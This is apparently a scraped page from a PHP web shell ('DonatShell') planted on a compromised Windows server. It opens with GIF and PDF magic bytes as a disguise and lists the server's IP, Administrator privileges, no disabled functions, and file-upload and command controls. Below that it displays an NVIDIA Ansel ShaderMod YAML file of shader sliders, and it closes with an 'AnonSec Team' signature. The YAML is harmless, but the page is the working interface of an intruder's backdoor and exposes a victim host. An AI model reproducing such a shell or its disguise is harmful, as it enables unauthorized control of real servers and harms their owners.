GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/NVIDIA Corporation/Ansel/ShaderMod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Program Files/NVIDIA Corporation/Ansel/ShaderMod/SpecialFX.yaml
pass_template: 
    samplerstates:
        samLinear:
            filter: MIN_MAG_MIP_LINEAR
            addressU: WRAP
            addressV: WRAP
    type: match-color-input
    constant-buffers: 
        globalParams: {screenSize: SCREEN_SIZE, captureState: CAPTURE_STATE, tileUV: TILE_UV_RANGE}
        controlBuf: {g_sldSketch: sketchSlider, g_sldHalfTone: halftoneSlider, g_sldRetro: retroSlider, g_sldSepia: sepiaSlider} 

typical_slider:
      type: float
      minimum-value: 0.0
      maximum-value: 1.0
      default-value: 0.0
      ui-sticky-region: 0.01
      ui-value-unit: "%"
      ui-value-min: 0
      ui-value-max: 100
      ui-value-step: 1.01

user-constants:
    - name: retroSlider 
      ui-hint: "Use this to set intensity, 0% to 100%"
      ui-hint-localized:
          cs-CZ: "Slouží k nastavení intenzity, 0 až 100 %"
          da-DK: "Brug til at indstille intensitet, 0 % til 100 %"
          de-DE: "Verwenden Sie diese Option zum Einstellen der Intensität von 0 % bis 100 %."
          el-GR: "Χρησιμοποιήστε το για να ορίσετε την ένταση, 0% έως 100%"
          en-UK: "Use this to set intensity, 0% to 100%"
          es-ES: "Use esta opción para establecer la intensidad, de 0% a 100%"
          es-MX: "Utilice esta configuración para establecer la intensidad de 0 % a 100 %"
          fi-FI: "Käytä tätä voimakkuuden asettamiseksi, 0 % -> 100 %"
          fr-FR: "Cette option permet de régler l’intensité de 0 à 100 %"
          hu: "Ennek segítségével állíthatja be az intenzitást 0% és 100% között"
          it-IT: "Usare questa funzione per impostare l’intensità da 0% a 100%"
          ja-JP: "これを使用して明度を設定する、0% ~ 100%"
          ko-KR: "0~100% 사이 강도 설정에 사용하십시오"
          nl-NL: "Gebruik dit om de intensiteit in te stellen van 0% tot 100%"
          nb-NO: "Bruk denne for å angi intensitet, 0 % til 100 %"
          pl: "Służy do ustawiania intensywności w zakresie od 0% do 100%"
          pt-PT: "Utilize esta opção para definir a intensidade, entre 0% e 100%"
          pt-BR: "Use para ajustar a intensidade, de 0% a 100%."
          ru-RU: "Используйте этот параметр, чтобы задать интенсивность: от 0% до 100%"
          sk-SK: "Umožňuje nastaviť intenzitu v rozsahu od 0 % do 100 %"
          sl-SI: "Uporabite to za nastavitev intenzivnosti, od 0 % do 100 %"
          sv-SE: "Använd denna för att ställa in intensitet, 0 % till 100 %"
          th-TH: "ใช้สิ่งนี้เพื่อตั้งค่าความเข้มจาก 0 ถึง 100 เปอร์เซ็นต์"
          tr-TR: "Yoğunluğu %0 ile %100 arasında ayarlamak için bu seçeneği kullanın."
          zh-CHS: "用此来设定强度,0% 到 100%"
          zh-CHT: "使用此選項來設定強度,從 0% 到 100%"
      ui-label: "Retro"
      ui-label-localized:
          cs-CZ: "Retro"
          da-DK: "Retro"
          de-DE: "Retro"
          el-GR: "Ρετρό"
          en-UK: "Retro"
          es-ES: "Retro"
          es-MX: "Retro"
          fi-FI: "Retro"
          fr-FR: "Rétro"
          hu: "Retró"
          it-IT: "Rétro"
          ja-JP: "レトロ"
          ko-KR: "레트로"
          nl-NL: "Retro"
          nb-NO: "Retro"
          pl: "Retro"
          pt-PT: "Retro"
          pt-BR: "Retrô"
          ru-RU: "Ретро"
          sk-SK: "Retro"
          sl-SI: "Retro"
          sv-SE: "Retro"
          th-TH: "เรโทร"
          tr-TR: "Nostaljik"
          zh-CHS: "复古"
          zh-CHT: "虛線邊框"
      default-value: 0.5
      import: [typical_slider]
    - name: sketchSlider
      ui-hint: "Use this to scale Grain effect: 0 is 0%, 1 is 100%"
      ui-hint-localized:
          cs-CZ: "Slouží ke škálování efektu zrnitosti: 0 je 0 %, 1 je 100 %"
          da-DK: "Brug til at skalere filmkorneffekt: 0 er 0 %, 1 er 100 %"
          de-DE: "Verwenden Sie diese Option zum Skalieren des Körnungseffekts: 0 entspricht 0 %, 1 entspricht 100 %."
          el-GR: "Χρησιμοποιήστε το για κλιμάκωση του εφέ κόκκων: Το 0 είναι 0%, το 1 είναι 100%"
          en-UK: "Use this to scale Grain effect: 0 is 0%, 1 is 100%"
          es-ES: "Use esta opción para escalar el efecto de granulado: 0 es 0%, 1 es 100%"
          es-MX: "Utilice esta configuración para ajustar la escala del efecto de granulidad: 0 es 0%, 1 es 100%"
          fi-FI: "Käytä tätä skaalataksesi jyvätehostetta: 0 on 0 %, 1 on 100 %"
          fr-FR: "Cette option permet de régler l’effet de grain : 0 correspond à 0 %, 1 à 100 %"
          hu: "Ennek segítségével skálázhatja a szemcsézett effektust: a 0 érték 0%-nak, az 1 érték 100%-nak felel meg"
          it-IT: "Usare questa funzione per proporzionare l’effetto Grana: 0 è pari al 0%, 1 è pari al 100%"
          ja-JP: "これを使用してグレイン効果をスケーリングする:0 は 0%、 1 は 100%"
          ko-KR: "그레인 효과를 스케일하는 데 사용하십시오. 0은 0%, 1은 100%"
          nl-NL: "Gebruik dit om het korreleffect te schalen: 0 is 0%, 1 is 100%"
          nb-NO: "Bruk denne for å skalere korneffekten. 0 er 0 %, 1 er 100 %"
          pl: "Służy do stopniowania efektu ziarnistości: 0 to 0%, a 1 to 100%"
          pt-PT: "Utilize esta opção para definir a escala do efeito Grão: 0 corresponde a 0%, 1 corresponde a 100%"
          pt-BR: "Use para dimensionar o efeito de granulação: 0 é 0% e 1 é 100%."
          ru-RU: "Используйте этот параметр для регулировки эффекта зернистости: 0 = 0%, 1 = 100%"
          sk-SK: "Umožňuje nastavenie mierky efektu Zrnitosť: 0 je 0 %, 1 je 100 %"
          sl-SI: "Uporabite to za prilagoditev učinka zrnatosti: 0 je 0 %, 1 je 100 %"
          sv-SE: "Använd denna för att skala korneffekten: 0 är 0 %, 1 är 100 %"
          th-TH: "ใช้สิ่งนี้เพื่อปรับระดับเอฟเฟกต์ความหยาบ 0 คือ 0 เปอร์เซ็นต์ 1 คือ 100 เปอร์เซ็นต์"
          tr-TR: "Gren efektini ölçeklendirmek için bu seçeneği kullanın: 0 değeri %0, 1 değeri %100 anlamına gelir."
          zh-CHS: "用此来缩放颗粒效果:0 指 0%,1 指 100%"
          zh-CHT: "使用此選項來縮放粒紋效果:0 表示 0%,1 表示 100%"
      ui-label: "Sketch"
      ui-label-localized:
          cs-CZ: "Skica"
          da-DK: "Skitse"
          de-DE: "Skizze"
          el-GR: "Σκίτσο"
          en-UK: "Sketch"
          es-ES: "Boceto"
          es-MX: "Boceto"
          fi-FI: "Luonnos"
          fr-FR: "Esquisse"
          hu: "Rajz"
          it-IT: "Schizzo"
          ja-JP: "スケッチ"
          ko-KR: "스케치"
          nl-NL: "Schets"
          nb-NO: "Skisse"
          pl: "Szkic"
          pt-PT: "Esboço"
          pt-BR: "Rascunho"
          ru-RU: "Зарисовка"
          sk-SK: "Skica"
          sl-SI: "Skica"
          sv-SE: "Skiss"
          th-TH: "ภาพร่าง"
          tr-TR: "Çizim"
          zh-CHS: "素描"
          zh-CHT: "草圖"
      default-value: 0.0
      import: [typical_slider]
    - name: halftoneSlider 
      ui-hint: "Use this to set intensity, 0% to 100%"
      ui-hint-localized:
          cs-CZ: "Slouží k nastavení intenzity, 0 až 100 %"
          da-DK: "Brug til at indstille intensitet, 0 % til 100 %"
          de-DE: "Verwenden Sie diese Option zum Einstellen der Intensität von 0 % bis 100 %."
          el-GR: "Χρησιμοποιήστε το για να ορίσετε την ένταση, 0% έως 100%"
          en-UK: "Use this to set intensity, 0% to 100%"
          es-ES: "Use esta opción para establecer la intensidad, de 0% a 100%"
          es-MX: "Utilice esta configuración para establecer la intensidad de 0 % a 100 %"
          fi-FI: "Käytä tätä voimakkuuden asettamiseksi, 0 % -> 100 %"
          fr-FR: "Cette option permet de régler l’intensité de 0 à 100 %"
          hu: "Ennek segítségével állíthatja be az intenzitást 0% és 100% között"
          it-IT: "Usare questa funzione per impostare l’intensità da 0% a 100%"
          ja-JP: "これを使用して明度を設定する、0% ~ 100%"
          ko-KR: "0~100% 사이 강도 설정에 사용하십시오"
          nl-NL: "Gebruik dit om de intensiteit in te stellen van 0% tot 100%"
          nb-NO: "Bruk denne for å angi intensitet, 0 % til 100 %"
          pl: "Służy do ustawiania intensywności w zakresie od 0% do 100%"
          pt-PT: "Utilize esta opção para definir a intensidade, de 0% a 100%"
          pt-BR: "Use para ajustar a intensidade, de 0% a 100%."
          ru-RU: "Используйте этот параметр, чтобы задать интенсивность: от 0% до 100%"
          sk-SK: "Umožňuje nastaviť intenzitu v rozsahu od 0 % do 100 %"
          sl-SI: "Uporabite to za nastavitev intenzivnosti, od 0 % do 100 %"
          sv-SE: "Använd denna för att ställa in intensitet, 0 % till 100 %"
          th-TH: "ใช้สิ่งนี้เพื่อตั้งค่าความเข้มจาก 0 ถึง 100 เปอร์เซ็นต์"
          tr-TR: "Yoğunluğu %0 ile %100 arasında ayarlamak için bu seçeneği kullanın."
          zh-CHS: "用此来设定强度,0% 到 100%"
          zh-CHT: "使用此選項來設定強度,從 0% 到 100%"
      ui-label: "Half-Tone"
      ui-label-localized:
          cs-CZ: "Půltón"
          da-DK: "Halvtone"
          de-DE: "Halbton"
          el-GR: "Μισός τόνος"
          en-UK: "Half-Tone"
          es-ES: "Medios tonos"
          es-MX: "Tono medio"
          fi-FI: "Puolisävy"
          fr-FR: "Demi-ton"
          hu: "Féltónus"
          it-IT: "Mezzitoni"
          ja-JP: "ハーフトーン"
          ko-KR: "하프 톤"
          nl-NL: "Halftoon"
          nb-NO: "Halvtone"
          pl: "Półtony"
          pt-PT: "Meio-tom"
          pt-BR: "Meio tom"
          ru-RU: "Полутона"
          sk-SK: "Poltón"
          sl-SI: "Niansa barve"
          sv-SE: "Halvton"
          th-TH: "ครึ่งโทนสี"
          tr-TR: "Noktalı Resim"
          zh-CHS: "半色调"
          zh-CHT: "半色調"
      import: [typical_slider]
    - name: sepiaSlider 
      ui-hint: "Use this to set intensity, 0% to 100%"
      ui-hint-localized:
          cs-CZ: "Slouží k nastavení intenzity, 0 až 100 %"
          da-DK: "Brug til at indstille intensitet, 0 % til 100 %"
          de-DE: "Verwenden Sie diese Option zum Einstellen der Intensität von 0 % bis 100 %."
          el-GR: "Χρησιμοποιήστε το για να ορίσετε την ένταση, 0% έως 100%"
          en-UK: "Use this to set intensity, 0% to 100%"
          es-ES: "Use esta opción para establecer la intensidad, de 0% a 100%"
          es-MX: "Utilice esta configuración para establecer la intensidad de 0 % a 100 %"
          fi-FI: "Käytä tätä voimakkuuden asettamiseksi, 0 % -> 100 %"
          fr-FR: "Cette option permet de régler l’intensité de 0 à 100 %"
          hu: "Ennek segítségével állíthatja be az intenzitást 0% és 100% között"
          it-IT: "Usare questa funzione per impostare l’intensità da 0% a 100%"
          ja-JP: "これを使用して明度を設定する、0% ~ 100%"
          ko-KR: "0~100% 사이 강도 설정에 사용하십시오"
          nl-NL: "Gebruik dit om de intensiteit in te stellen van 0% tot 100%"
          nb-NO: "Bruk denne for å angi intensitet, 0 % til 100 %"
          pl: "Służy do ustawiania intensywności w zakresie od 0% do 100%"
          pt-PT: "Utilize esta opção para definir a intensidade, de 0% a 100%"
          pt-BR: "Use para ajustar a intensidade, de 0% a 100%."
          ru-RU: "Используйте этот параметр, чтобы задать интенсивность: от 0% до 100%"
          sk-SK: "Umožňuje nastaviť intenzitu v rozsahu od 0 % do 100 %"
          sl-SI: "Uporabite to za nastavitev intenzivnosti, od 0 % do 100 %"
          sv-SE: "Använd denna för att ställa in intensitet, 0 % till 100 %"
          th-TH: "ใช้สิ่งนี้เพื่อตั้งค่าความเข้มจาก 0 ถึง 100 เปอร์เซ็นต์"
          tr-TR: "Yoğunluğu %0 ile %100 arasında ayarlamak için bu seçeneği kullanın."
          zh-CHS: "用此来设定强度,0% 到 100%"
          zh-CHT: "使用此選項來設定強度,從 0% 到 100%"
      ui-label: "Sepia"
      ui-label-localized:
          cs-CZ: "Sépie"
          da-DK: "Sepia"
          de-DE: "Sepia"
          el-GR: "Σέπια"
          en-UK: "Sepia"
          es-ES: "Sepia"
          es-MX: "Sepia"
          fi-FI: "Seepia"
          fr-FR: "Sépia"
          hu: "Szépia"
          it-IT: "Seppia"
          ja-JP: "セピア"
          ko-KR: "세피아"
          nl-NL: "Sepia"
          nb-NO: "Sepia"
          pl: "Sepia"
          pt-PT: "Sépia"
          pt-BR: "Sépia"
          ru-RU: "Сепия"
          sk-SK: "Sépia"
          sl-SI: "Sepija"
          sv-SE: "Sepia"
          th-TH: "ซีเปีย"
          tr-TR: "Sepya"
          zh-CHS: "深褐色"
          zh-CHT: "深褐復古"
      import: [typical_slider]

main:
    import: [pass_template]
    shader: PS@SpecialFX.yfx
    textures:
        texColor:
            channel: PIPE_INPUTS_COLOR
        texNoise:
            filename: noise.tga        
   

Anon7 - 2022
AnonSec Team